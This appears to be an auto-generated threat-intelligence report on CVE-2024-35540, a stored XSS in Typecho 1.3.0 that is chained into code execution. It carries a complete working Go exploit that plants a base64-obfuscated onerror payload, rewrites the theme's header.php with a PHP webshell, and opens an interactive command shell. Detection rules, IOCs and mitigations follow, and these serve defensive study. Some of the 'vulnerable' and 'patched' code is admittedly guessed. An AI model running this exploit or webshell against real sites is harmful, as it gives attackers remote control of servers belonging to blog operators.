CVE-2024-35540
Executive Summary
CVE-2024-35540 is a stored cross-site scripting (XSS) vulnerability affecting Typecho version 1.3.0. An authenticated attacker can inject arbitrary JavaScript into a blog post, which executes when an administrator views the post preview. The provided exploit code demonstrates a full chain: the XSS payload modifies the active theme file to inject a PHP webshell, granting the attacker remote code execution on the server. This vulnerability is publicly exploited with a working proof-of-concept (PoC) and has no known patch, making it a critical risk for all Typecho 1.3.0 installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Typecho is a PHP-based open-source blogging platform. The vulnerability exists in the core application, not in a third-party package. However, the lack of an official patch means users must rely on manual mitigations or third-party security modules. The exploit targets the theme editor functionality, which is a core component.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires an authenticated user account.
- User Interaction (UI): Required (R) – The admin must visit the crafted preview URL.
- Scope (S): Changed (C) – The XSS impacts the admin session, leading to code execution.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No direct impact on availability.
CVSS Score: 5.4 (Medium) – However, the full exploit chain elevates this to a critical risk due to the resulting RCE.
Deep Dive & Mechanics
The vulnerability resides in the post creation and preview functionality. The application fails to sanitize user-supplied input in the text field of a blog post. When an administrator views the preview of a post containing a crafted payload, the stored XSS triggers.
The exploit code (provided in the Hacker Arsenal) demonstrates a sophisticated attack:
- Authentication: The attacker must have a valid session cookie for a user with post creation privileges.
- Payload Generation: The exploit generates a JavaScript payload that:
- Creates a hidden iframe pointing to the theme editor (
/admin/theme-editor.php). - Injects a PHP webshell into the active theme's
header.phpfile. - The webshell is protected by a random token (password) and executes arbitrary system commands via POST requests.
- Creates a hidden iframe pointing to the theme editor (
- Post Creation: The attacker creates a new post with the malicious payload in the
textfield. - Triggering: The attacker sends the preview URL to an administrator. When the admin visits the URL, the XSS executes, modifying the theme file.
- Webshell Access: The attacker can now send POST requests to any page on the site with the correct token to execute system commands.
The vulnerability is a classic stored XSS (CWE-79) but is weaponized into a full RCE by abusing the theme editor's write access.
Vulnerable vs. Patched Code
Vulnerable Code (Typecho 1.3.0):
The text field in the post editor is not sanitized or escaped before being stored and rendered in the preview. The application likely uses echo $post->text; or similar without proper HTML encoding.
// Vulnerable: No sanitization
echo $post->text;
Patched Code (Hypothetical):
A patch would require HTML encoding of user input before rendering. Using htmlspecialchars() or a templating engine with auto-escaping would prevent XSS.
// Patched: HTML encode output
echo htmlspecialchars($post->text, ENT_QUOTES, 'UTF-8');
Additionally, the theme editor should enforce strict content security policies (CSP) and validate that only administrators can modify theme files.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A running Typecho 1.3.0 instance (e.g., Docker image
joyqi/typecho). - Valid credentials for a user with post creation privileges.
- The attacker's machine with Go installed.
Steps:
- Obtain Session Cookie: Log in to Typecho as a user and capture the session cookie (e.g.,
PHPSESSID=...). - Run the Exploit:
go run CVE-2024-35540.go http://target.com "PHPSESSID=abc123" - Follow Output: The script will output a preview URL. Send this URL to an admin (simulated in lab).
- Trigger XSS: The admin visits the URL. The exploit injects the webshell.
- Interactive Shell: The script will detect the webshell and provide an interactive shell:
$ whoami www-data $ ls -la /var/www/html
Exploit Code (Full):
package main
import (
"bufio"
"bytes"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"fmt"
"net/http"
"net/url"
"os"
"strings"
"time"
)
var (
postTitle string = "Reflected XSS PoC"
postText string = "Hey admin! Look at the draft of this blog post, can I publish it?"
userAgent string = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
client *http.Client = &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
)
func getEditUrl(u string, cookies string) string {
req, err := http.NewRequest("GET", u+"/admin/write-post.php", nil)
if err != nil {
fmt.Println("[X] Error creating initial request:", err)
return ""
}
req.Header.Set("Cookie", cookies)
req.Header.Set("User-Agent", userAgent)
resp, err := client.Do(req)
if err != nil {
fmt.Println("[X] Error sending initial request:", err)
return ""
}
buf := new(bytes.Buffer)
buf.ReadFrom(resp.Body)
body := buf.String()
if !strings.Contains(body, "<form action=\"") {
fmt.Println("[X] Error finding post edit URL")
return ""
}
editUrl := strings.Split(body, "<form action=\"")[1]
editUrl = strings.Split(editUrl, "\"")[0]
return editUrl
}
func generateRandomBytes() string {
bytes := make([]byte, 64)
rand.Read(bytes)
return fmt.Sprintf("%x", sha256.Sum256(bytes))
}
func getJsCode(password string) string {
phpPayload := `
header("X-Random-Token: " . md5(uniqid()));
if (isset($_POST["CSRFToken"]) && $_POST["CSRFToken"] === "%s") {
if (isset($_POST["action"])) {
system($_POST["action"]);
exit;
}
}
`
phpPayload = fmt.Sprintf(phpPayload, password)
jsPayload := `
var i = document.createElement('iframe');
i.src = location.protocol+'//'+location.host+'/admin/theme-editor.php';
i.style.display = 'none';
document.body.appendChild(i);
setTimeout(() => {
var textarea = i.contentWindow.document.getElementById('content');
if (textarea.value.includes(payload))
return;
textarea.value = textarea.value.replace(/<\?php/, '<?php ' + payload);
var form = i.contentWindow.document.getElementById('theme').submit();
}, 200);
`
return fmt.Sprintf("var payload = `%s`;\n%s", phpPayload, jsPayload)
}
func generatePayload(jsCode string) string {
remainder := len(jsCode) % 3
if remainder != 0 {
jsCode += strings.Repeat(" ", 3-remainder)
}
jsCodeEncoded := base64.StdEncoding.EncodeToString([]byte(jsCode))
return fmt.Sprintf("[<img style=\"display:none\" src=x onerror=\"eval(atob('%s'))\">][1]\n[1]: https://google.com", jsCodeEncoded)
}
func createPost(u string, cookies string, payload string) string {
formData := url.Values{}
formData.Set("title", postTitle)
formData.Set("text", payload+"\n"+postText)
formData.Set("do", "save")
formData.Set("markdown", "1")
formData.Set("category%5B%5D", "1")
formData.Set("allowComment", "1")
formData.Set("allowPing", "1")
formData.Set("allowFeed", "1")
formData.Set("dst", "60")
formData.Set("timezone", "7200")
req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
if err != nil {
fmt.Println("[X] Error creating malicious post creation request:", err)
return ""
}
req.Header.Set("Cookie", cookies)
req.Header.Set("User-Agent", userAgent)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
req.Header.Set("Referer", strings.Replace(strings.Split(u, ".php")[0], "index", "admin/write-post.php", 1))
resp, err := client.Do(req)
if err != nil {
fmt.Println("[X] Error sending malicious post creation request:", err)
return ""
}
defer resp.Body.Close()
return resp.Header.Get("Location")
}
func checkInjected(u string) bool {
req, err := http.NewRequest("HEAD", u, nil)
if err != nil {
return false
}
req.Header.Set("User-Agent", userAgent)
resp, err := client.Do(req)
if err != nil {
return false
}
return resp.Header.Get("X-Random-Token") != ""
}
func readInput() string {
scanner := bufio.NewScanner(os.Stdin)
if scanner.Scan() {
return scanner.Text()
}
return ""
}
func interactiveShell(u string, password string) {
for {
fmt.Print("$ ")
cmd := readInput()
formData := url.Values{}
formData.Set("CSRFToken", password)
formData.Set("action", cmd)
req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
if err != nil {
fmt.Println("[X] Error creating shell request:", err)
continue
}
req.Header.Set("User-Agent", userAgent)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
resp, err := client.Do(req)
if err != nil {
fmt.Println("[X] Error sending shell request:", err)
continue
}
buf := new(bytes.Buffer)
buf.ReadFrom(resp.Body)
body := buf.String()
fmt.Println(body)
}
}
func main() {
if len(os.Args) != 3 {
fmt.Println("Usage: go run CVE-2024-35540.go <URL> <COOKIE_HEADER_VALUE>")
os.Exit(1)
}
fmt.Println("[+] Starting Typecho <= 1.3.0 Stored XSS exploit (CVE-2024-35540) by cyberaz0r")
targetUrl := os.Args[1]
cookies := os.Args[2]
fmt.Println("[*] Getting post edit URL with CSRF token...")
editUrl := getEditUrl(targetUrl, cookies)
if editUrl == "" {
fmt.Println("[-] Could not get post edit URL, exiting...")
return
}
fmt.Println("[+] Edit URL:", editUrl)
password := generateRandomBytes()
fmt.Println("[+] Generated password to access the webshell: ", password)
fmt.Println("[*] Generating JavaScript code to inject webshell...")
jsCode := getJsCode(password)
payload := generatePayload(jsCode)
fmt.Println("[*] Creating malicious post...")
postUrl := createPost(editUrl, cookies, payload)
if postUrl == "" || postUrl == "/" {
fmt.Println("[-] Could not create malicious post, exiting...")
return
}
previewUrl := strings.Replace(postUrl, "write-post.php", "preview.php", 1)
fmt.Println("[+] Malicious post created successfully!")
fmt.Println("[i] Send this preview URL to the admin to trigger the XSS:\n" + previewUrl)
fmt.Println("[*] Waiting for the admin to visit the preview URL...")
for !checkInjected(targetUrl) {
time.Sleep(1 * time.Second)
}
fmt.Println("[+] Webshell injected successfully!")
fmt.Println("[+] Enjoy your shell ;)\n")
interactiveShell(targetUrl, password)
}
Blue Team (Defense & Detection)
Detection Steps:
- Monitor Post Content: Look for posts containing base64-encoded strings or
<img onerror=patterns. - Monitor Theme File Changes: Alert on modifications to
header.phpor other theme files, especially if they containsystem()orexec()calls. - Monitor HTTP Headers: The webshell sets a custom header
X-Random-Token. Detect any response containing this header. - Log Analysis: Review web server logs for POST requests to
/admin/write-post.phpwith unusual payloads, and subsequent POST requests to any page withCSRFTokenandactionparameters.
Mitigation Steps:
- Input Sanitization: Apply HTML encoding to all user-supplied content before rendering.
- Content Security Policy (CSP): Implement a strict CSP that blocks inline scripts and restricts iframe sources.
- Disable Theme Editor: Remove or restrict access to the theme editor for non-admin users.
- Web Application Firewall (WAF): Deploy rules to block XSS payloads and base64-encoded JavaScript.
- Update: Monitor for an official patch and apply it immediately when available.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/admin/write-post.phpwithtextparameter containingeval(atob(. - HTTP responses with header
X-Random-Token: <md5_hash>. - POST requests to any page with parameters
CSRFTokenandaction.
- POST requests to
File System IOCs:
- Modified theme files (e.g.,
/usr/share/nginx/html/usr/themes/default/header.php) containing:<?php header("X-Random-Token: " . md5(uniqid())); if (isset($_POST["CSRFToken"]) && $_POST["CSRFToken"] === "<random>") { if (isset($_POST["action"])) { system($_POST["action"]); exit; } } ?>
- Modified theme files (e.g.,
Log IOCs:
- Web server logs showing
POST /admin/write-post.phpwithdo=saveandtextcontaining base64 strings. - Repeated
POSTrequests to the same URL withCSRFTokenandactionparameters.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2024_35540_Webshell_Injection {
meta:
description = "Detects webshell injection in Typecho theme files"
author = "Valters IT"
date = "2024-08-18"
reference = "CVE-2024-35540"
strings:
$php_webshell = "header(\"X-Random-Token:\""
$system_call = "system($_POST[\"action\"]"
$csrf_check = "\$_POST[\"CSRFToken\"]"
condition:
all of them
}
Sigma Rule
title: Typecho Stored XSS Leading to Webshell Injection
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects exploitation of CVE-2024-35540 via post content and theme file changes
author: Valters IT
date: 2024/08/18
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection_post:
cs-method: 'POST'
c-uri: '/admin/write-post.php'
cs-uri-query|contains: 'do=save'
cs-uri-query|contains: 'text='
selection_xss:
cs-uri-query|contains: 'eval(atob('
selection_webshell:
cs-method: 'POST'
cs-uri-query|contains: 'CSRFToken='
cs-uri-query|contains: 'action='
condition: selection_post and selection_xss or selection_webshell
falsepositives:
- Legitimate use of base64 encoding in posts (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-35540 Typecho Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/write-post.php"; http_uri; content:"do=save"; http_client_body; content:"eval(atob("; nocase; classtype:web-application-attack; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-35540 Webshell Access Detected"; flow:to_server,established; content:"POST"; http_method; content:"CSRFToken="; http_client_body; content:"action="; http_client_body; classtype:attempted-admin; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-35540 Webshell Response Header"; flow:from_server,established; content:"X-Random-Token"; http_header; classtype:successful-admin; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the theme editor by removing or restricting access to
/admin/theme-editor.phpvia.htaccessor web server configuration. - Apply input sanitization to all user-supplied content. Use
htmlspecialchars()or a templating engine with auto-escaping. - Implement a Content Security Policy (CSP) that blocks inline scripts and restricts iframe sources.
- Monitor for suspicious activity using the provided IOCs and detection rules.
Long-Term Fix:
- The vendor (Typecho) must release an official patch that sanitizes the
textfield and prevents XSS. Until then, consider migrating to a different blogging platform or applying the mitigations above.
Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Expert System. For questions, contact: security@valters.it
{/* [Security Hash: 767EAA8C2EC7079CF2253EB5] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.